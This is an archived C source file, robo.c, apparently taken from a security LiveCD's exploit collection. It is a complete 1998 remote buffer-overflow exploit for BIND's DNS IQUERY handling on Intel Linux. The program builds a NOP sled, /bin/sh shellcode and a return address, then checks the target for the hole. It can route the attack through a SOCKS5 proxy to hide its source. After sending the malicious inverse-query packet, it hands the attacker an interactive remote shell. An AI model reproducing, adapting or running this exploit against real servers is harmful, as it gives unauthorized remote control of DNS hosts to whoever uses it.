home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / robo.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  460 lines

  1. /* robo.c
  2.  *
  3.  * remote buffer overflow for BIND running on Intel Linux
  4.  *
  5.  * nimrood 5.16.98
  6.  *
  7.  * [SOCKS proxy support by |GCC| 5.21.98 - shout to HackTec & -aS-]
  8.  */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <signal.h>
  14. #include <unistd.h>
  15. #include <sys/time.h>
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netinet/in.h>
  19. #include <netinet/in_systm.h>
  20. #include <netinet/ip.h>
  21. #include <netdb.h>
  22. #include <arpa/inet.h>
  23. #include <arpa/nameser.h>
  24.  
  25. #define RETADDR   0xbffffe00
  26. #define RETADDRSZ 4
  27. #define NOP       0x90
  28. #define BUFSZ     1533
  29. #define PKTSZ     4096
  30.  
  31. char x86[] =
  32.   "\x83\xec\x7f\x89\xe5\x83\xec\x0c\xeb\x54\x31\xc0\x89\xc2\x89"
  33.   "\xc3\x89\x45\x00\x40\x89\x45\xfc\x40\x89\x45\xf8\x89\xe9\x83"
  34.   "\xe9\x08\x43\xb0\x66\xcd\x80\x48\x89\xc3\x89\xd1\xb0\x3f\xcd"
  35.   "\x80\x41\x89\xd0\xb0\x3f\xcd\x80\x41\x89\xd0\xb0\x3f\xcd\x80"
  36.   "\x89\xd0\x5e\x56\x5b\x89\x75\xf8\x83\xc6\x08\x89\x75\xfc\x83"
  37.   "\xc6\x03\x89\x45\x00\xb0\x0b\x89\xe9\x83\xe9\x08\xcd\x80\x31"
  38.   "\xc0\x40\xcd\x80\xe8\xa7\xff\xff\xff/bin/sh\x00-i";
  39.  
  40. /* mkdnsiquery --
  41.  *   builds a dns inverse query packet
  42.  *   returns the size of the result or -1 on an error
  43.  */
  44. int mkdnsiquery(const char *data, int dlen, u_char *buf, int blen)
  45. {
  46.   register HEADER *dnshdr;
  47.   register u_char *cp;
  48.   register int n;
  49.  
  50.   /* do we have enough room for dns header? if so, initialize the header */
  51.   if((buf == NULL) || (blen < HFIXEDSZ))
  52.     return(-1);
  53.  
  54.   memset(buf, 0, HFIXEDSZ);
  55.   dnshdr = (HEADER *) buf;
  56.   dnshdr->id = htons(getpid());
  57.   dnshdr->opcode = IQUERY;
  58.   dnshdr->rcode = NOERROR;
  59.   cp = buf + HFIXEDSZ;
  60.  
  61.   /* make the answer record */
  62.   if((data == NULL) || (dlen < 1) || (blen <= dlen))
  63.     return(-1);
  64.  
  65.   *(cp++) = '\0';            /* domain name is NULL for iquery */
  66.   PUTSHORT(T_A, cp);
  67.   PUTSHORT(C_IN, cp);
  68.   PUTLONG(31337, cp);        /* time to live */
  69.   PUTSHORT(dlen, cp);        /* length of data */
  70.   memcpy(cp, data, dlen);
  71.   cp += dlen;
  72.   dnshdr->ancount = htons(1);
  73.   return(cp - buf);
  74. }
  75.  
  76. /* resolv --
  77.  *   lets try some spiffy hostname lookups
  78.  *   exit program on error
  79.  */
  80. u_long resolv(char *host)
  81. {
  82.   struct hostent *lu;
  83.   u_long addr = inet_addr(host);
  84.  
  85.   if(addr == -1 )
  86.     {
  87.       lu = gethostbyname(host);
  88.       if((lu == NULL) || (lu->h_name == NULL) || (lu->h_addr_list == NULL))
  89.         {
  90.           printf("unable to resolve %s\n", host);
  91.           exit(-1);
  92.         }
  93.       memcpy(&(addr), *(lu->h_addr_list), sizeof(lu->h_addr_list));
  94.     }
  95.   return(addr);
  96. }
  97.  
  98. /* mkevildata --
  99.  *   formats data for dns packet to cause buffer overflow and execute commands.
  100.  */
  101. int mkevildata(char *buf, long offset)
  102. {
  103.   char *cp;
  104.  
  105.   cp = buf;
  106.   memset(cp, NOP, BUFSZ);
  107.   cp += BUFSZ - sizeof(x86);
  108.   memcpy(cp, x86, sizeof(x86));
  109.   cp += sizeof(x86);
  110.   offset = RETADDR - offset;
  111.   *(long *)cp = offset;
  112.   cp += RETADDRSZ;
  113.   return(cp - buf);
  114. }
  115.  
  116. /* timeout --
  117.  *   signal handler for timing out on tcp nameserver connect
  118.  *   program exits if generated.
  119.  */
  120. void timeout(int signum)
  121. {
  122.   signal(SIGALRM, SIG_DFL);
  123.   printf("connection timed out.\n");
  124.   exit(-1);
  125. }
  126.  
  127. /* main --
  128.  *   it all starts here baby
  129.  */
  130. int main(int argc, char *argv[])
  131. {
  132.   HEADER *dns;
  133.   struct sockaddr_in to;
  134.   struct timeval tval;
  135.   fd_set ioset;
  136.   char spkt[PKTSZ], rpkt[PKTSZ];
  137.   int sd, dlen, pktlen, *cp;
  138.   long offset = 2000;
  139.   char robo[2], *roboptr, dat;
  140.   unsigned char wingate[64] = "", wingate_buff[256];
  141.   int use_wingate = 0;
  142.   u_long addr;
  143.  
  144.   printf("robo - dns IQUERY remote buffer overflow for intel linux\nnimrood 5.16.98\n");
  145.   if(argc < 2 || argc > 4)
  146.     {
  147.       printf("usage: %s <host> [offset [proxy]]\n", argv[0]);
  148.       exit(-1);
  149.     }
  150.  
  151.   if(argc >= 3)
  152.     offset = atoi(argv[2]);
  153.  
  154.   if(argc == 4)
  155.     {
  156.       strncpy(wingate, argv[3], (size_t)64);
  157.       use_wingate = 1;
  158.     }
  159.  
  160.   to.sin_family = AF_INET;
  161.  
  162.   if (use_wingate)
  163.     {
  164.       to.sin_port = htons(1080); // SOCKS port
  165.       to.sin_addr.s_addr = resolv(wingate);
  166.     }
  167.   else
  168.     {
  169.       to.sin_port = htons(53);   // Direct connection DNS port
  170.       to.sin_addr.s_addr = resolv(argv[1]);
  171.     }
  172.  
  173.   if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  174.     {
  175.       perror("can't get socket");
  176.       exit(-1);
  177.     }
  178.  
  179.   if (use_wingate)
  180.     {
  181.       printf("connecting to SOCKS 5 proxy...");
  182.       fflush(stdout);
  183.  
  184.       signal(SIGALRM, timeout);
  185.       alarm(10);
  186.       if (connect(sd, (struct sockaddr *)&to, sizeof(to)) < 0)
  187.         {
  188.           perror("connection refused");
  189.           exit(-1);
  190.         }
  191.       alarm(0);
  192.       printf("connected\n");
  193.       fflush(stdout);
  194.  
  195.       printf("authenticating to SOCKS proxy...");
  196.       fflush(stdout);
  197.       /*     snprintf(wingate_buff, 256, "%s 53\r", argv[1]); */
  198.       /*     pktlen = strlen(wingate_buff); */
  199.       /*     if (write(sd, wingate_buff, pktlen) != pktlen) { */
  200.       /*       perror("write failed"); */
  201.       /*       exit(-1); */
  202.       /*     } */
  203.  
  204.       pktlen=3;
  205.       wingate_buff[0]=0x5; // SOCKS version 5
  206.       wingate_buff[1]=0x1; // we only support one authentication type...
  207.       wingate_buff[2]=0x0; // ...no authentication ;)
  208.  
  209.       if (write(sd, wingate_buff, pktlen)!=pktlen)
  210.         {
  211.           perror("write error");
  212.           exit(-1);
  213.         }
  214.       if (read(sd, wingate_buff, 2)!=2)
  215.         {
  216.           perror("read error");
  217.           exit(-1);
  218.         }
  219.       if (wingate_buff[0] != 0x5)
  220.         {
  221.           printf("invalid response (probably not a SOCKS 5 proxy)\n");
  222.           exit(-1);
  223.         }
  224.       if (wingate_buff[1] == 0xFF)
  225.         {
  226.           printf("proxy requires authentication (oops!)\n");
  227.           exit(-1);
  228.         }
  229.       if (wingate_buff[1] != 0x0)
  230.         {
  231.           printf("proxy returned an invalid authentication type\n");
  232.           exit(-1);
  233.         }
  234.  
  235.       printf("done\n");
  236.       printf("sending connection request...");
  237.       fflush(stdout);
  238.  
  239.       /*
  240.        * set up connection request packet in wingate_buff
  241.  [2000]*/
  242.  
  243.       pktlen = strlen(argv[1]); // for convenience & efficiency; fix it later
  244.       wingate_buff[1]=0x1; // request to CONNECT
  245.       wingate_buff[2]=0x0; // reserved
  246.       /*
  247.        * Most proxies don't seem to support domain names when specifying target
  248.        * address, even though it's in the standard. So we have to resolve it
  249.        * ourselves (bah!)
  250.        *
  251.        * wingate_buff[3]=0x3; // the address is a domain name in text format
  252.        * wingate_buff[4]=(unsigned char)pktlen; // had better not be > 255 ;)
  253.        * memcpy(wingate_buff+5, argv[1], pktlen);
  254.        * *((u_int)(wingate_buff+pktlen+5)) = htons(53);
  255.        * // connect to target on DNS port
  256.        * pktlen+=7; // fix the packet length
  257.        *
  258.  [2000]*/
  259.  
  260.       wingate_buff[3]=0x1; // the address is in IPv4 format
  261.       addr = resolv(argv[1]);
  262.       wingate_buff[7] = (addr & 0xFF000000) >> 24;
  263.       wingate_buff[6] = (addr & 0x00FF0000) >> 16;
  264.       wingate_buff[5] = (addr & 0x0000FF00) >> 8;
  265.       wingate_buff[4] = addr & 0xFF;
  266.       *((u_int *)(wingate_buff+8)) = htons(53); // connect to target on DNS port
  267.       pktlen = 10;
  268.  
  269.       if (write(sd, wingate_buff, pktlen)!=pktlen)
  270.         {
  271.           perror("write error");
  272.           exit(-1);
  273.         }
  274.  
  275.       /*
  276.        * get the server's response...
  277.  [2000]*/
  278.  
  279.       if (read(sd, wingate_buff, 4)!=4)
  280.         {
  281.           perror("read error (1)");
  282.           exit(-1);
  283.         }
  284.  
  285.       switch(wingate_buff[1])
  286.         {
  287.         case 0:
  288.           printf("connected\n");
  289.           break;
  290.         case 1:
  291.           printf("general SOCKS server failure\n");
  292.           exit(-1);
  293.         case 2:
  294.           printf("connection to this target is not allowed\n");
  295.           exit(-1);
  296.         case 3:
  297.           printf("target's network is unreachable\n");
  298.           exit(-1);
  299.         case 4:
  300.           printf("target host is unreachable\n");
  301.           exit(-1);
  302.         case 5:
  303.           printf("connection refused by target\n");
  304.           exit(-1);
  305.         case 6:
  306.           printf("TTL expired (probable router loop)\n");
  307.           exit(-1);
  308.         case 7:
  309.           printf("command not supported (?)\n");
  310.           exit(-1);
  311.         case 8:
  312.           printf("address type (IPv4) not supported\n");
  313.           exit(-1);
  314.         default:
  315.           printf("returned unknown error code\n");
  316.           exit(-1);
  317.         }
  318.  
  319.       // server responded OK, read the host/port part of the reply and dump it
  320.  
  321.       switch(wingate_buff[3])
  322.         {
  323.         case 1: // hostname is in IPv4 format...
  324.           if (read(sd, wingate_buff+4, 6) != 6)
  325.             {
  326.               perror("read error");
  327.               exit(-1);
  328.             }
  329.           break;
  330.         case 3: // hostname as text
  331.           if (read(sd, wingate_buff+4, 1)!=1)
  332.             {
  333.               perror("read error");
  334.               exit(-1);
  335.             }
  336.  
  337.           pktlen = wingate_buff[4];
  338.           // 5th byte of reply contains length of returned hostname
  339.  
  340.           if (read(sd, wingate_buff+5, pktlen+2) != pktlen+2)
  341.             {
  342.               perror("read error");
  343.               exit(-1);
  344.             }
  345.  
  346.           break;
  347.         default:
  348.           printf("proxy returned neither an IPv4 address nor domain name\n");
  349.           // This wouldn't be critical, except that we need to be able to read
  350.           // the rest of the reply, so the buffer is clear when we talk to the
  351.           // nameserver. And we can't do that unless we know how big the address is
  352.  
  353.           exit(-1);
  354.         }
  355.  
  356.       // Right, now we're talking to our nameserver =)
  357.  
  358.     }
  359.  
  360.   else
  361.     {
  362.       printf("connecting...");
  363.       fflush(stdout);
  364.  
  365.       signal(SIGALRM, timeout);
  366.       alarm(10);
  367.       if(connect(sd, (struct sockaddr *)&to, sizeof(to)) < 0)
  368.         {
  369.           perror("connection failed");
  370.           exit(-1);
  371.         }
  372.       alarm(0);
  373.       printf("connected.\n");
  374.       fflush(stdout);
  375.     }
  376.  
  377.   printf("testing for vulnerability...");
  378.   fflush(stdout);
  379.  
  380.   /* use 5 bytes intead of 4 to test for the hole. if a server is answering
  381.    * IQUERY packets, but is patched, it should return a non-zero error. This
  382.    * will prevent trying to exploit a patched server answering IQUERY packets.
  383.    * From looking at the named patches, if the data value is != to 4 bytes, then
  384.    * a refuse error is sent back (rcode==5).
  385.    */
  386.   pktlen = mkdnsiquery(rpkt, 5, spkt, PKTSZ);
  387.   roboptr = robo;
  388.   PUTSHORT(pktlen, roboptr);
  389.   if(write(sd, robo, 2) !=2 || write (sd, spkt, pktlen) != pktlen)
  390.     {
  391.       perror("write failed");
  392.       exit(-1);
  393.     }
  394.   roboptr = robo;
  395.   if(read(sd, robo, 2) != 2)
  396.     {
  397.       perror("read failed");
  398.       exit(-1);
  399.     }
  400.   GETSHORT(pktlen, roboptr);
  401.   if(read(sd, rpkt, pktlen) != pktlen)
  402.     {
  403.       perror("read failed");
  404.       exit(-1);
  405.     }
  406.   dns = (HEADER *)rpkt;
  407.   if(dns->rcode)
  408.     {
  409.       printf("not vulnerable. response code = %i\n", dns->rcode);
  410.       close(sd);
  411.       exit(0);
  412.     }
  413.   printf("vulnerable.\n");
  414.  
  415.   dlen = mkevildata(rpkt, offset);
  416.   pktlen = mkdnsiquery(rpkt, dlen, spkt, PKTSZ);
  417.   printf("sending exploit code...");
  418.  
  419.   roboptr = robo;
  420.   PUTSHORT(pktlen, roboptr);
  421.   if(write(sd, robo, 2) != 2 || write(sd, spkt, pktlen) != pktlen)
  422.     {
  423.       perror("write failed");
  424.       exit(-1);
  425.     }
  426.   printf("%i bytes sent.\n", pktlen);
  427.   fflush(stdout);
  428.   sleep(2);
  429.  
  430.   while(1)
  431.     {
  432.       tval.tv_usec = 0;
  433.       tval.tv_sec = 10;
  434.       FD_ZERO(&ioset);
  435.       FD_SET(sd, &ioset);
  436.       FD_SET(0, &ioset);
  437.       if(select(sd+1, &ioset, NULL, NULL, &tval) < 0)
  438.         break;
  439.       if(FD_ISSET(sd, &ioset))
  440.         {
  441.           pktlen = read(sd, rpkt, PKTSZ);
  442.           if(pktlen < 0 || write(2, rpkt, pktlen) < 0)
  443.             break;
  444.         }
  445.       if(FD_ISSET(0, &ioset))
  446.         {
  447.           dlen = read(0, spkt, PKTSZ);
  448.           if(dlen < 0 || write(sd, spkt, dlen) < 0)
  449.             break;
  450.         }
  451.  
  452.       tval.tv_usec = 100;
  453.       tval.tv_sec = 0;
  454.       if(select(0, NULL, NULL, NULL, &tval))
  455.         break;
  456.     }
  457.   printf("\nconnection lost.\n");
  458.   close(sd);
  459. }
  460. /*                    www.hack.co.za              [2000]*/